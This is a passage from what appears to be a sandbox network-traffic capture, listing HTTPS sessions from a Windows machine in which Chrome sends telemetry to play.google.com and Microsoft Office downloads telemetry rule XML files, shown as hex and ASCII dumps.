<S T="11" /> </C> </C> <C T="U32"
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-29 01:46:22 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49730	142.250.185.142	443	7240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:22 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 01:46:22 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 31 36 36 33 37 39 33 33 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730166379333",null,null,null,
2024-10-29 01:46:22 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=RvGvKzRNJpkMwG9UfuLSPwDUpQ5aZKUnmyYmNzZvKiktxeXLeIA1nIdHmIyOdPznzrAmx7Pxkx8bR64BPVwh1Kotoyj2iw5S_3ivMyRzYlTtzlOa9N0anc52BA3Hf8f-pU966g9D0BQJrb5WNbpr4zMdojyjyZ1_OIcPEO02WmtaG9p-LpU; expires=Wed, 30-Apr-2025 01:46:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 01:46:22 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 01:46:22 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 01:46:22 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 01:46:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49734	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 01:46:22 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=126560 Date: Tue, 29 Oct 2024 01:46:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-29 01:46:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:23 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: c3a6d21e-601e-00ab-1dc6-2766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-17c5cb586f6fqqst87nqkbsx1c000000047000000000cghx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 8f1f3dd8-601e-0097-4789-28f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-15b8d89586fbmg6qpd9yf8zhm000000000wg000000002qsg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:24 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-16849878b785dznd7xpawq9gcn000000075g00000000mx14 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:24 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:24 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-16849878b78g2m84h2v9sta29000000004ng00000000swy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:24 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:24 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014624Z-16849878b78q9m8bqvwuva4svc00000004dg000000008ter x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49745	142.250.185.142	443	7240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:24 UTC	923	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=RvGvKzRNJpkMwG9UfuLSPwDUpQ5aZKUnmyYmNzZvKiktxeXLeIA1nIdHmIyOdPznzrAmx7Pxkx8bR64BPVwh1Kotoyj2iw5S_3ivMyRzYlTtzlOa9N0anc52BA3Hf8f-pU966g9D0BQJrb5WNbpr4zMdojyjyZ1_OIcPEO02WmtaG9p-LpU
2024-10-29 01:46:24 UTC	918	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 31 36 36 33 38 31 38 30 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730166381809",null,null,null,
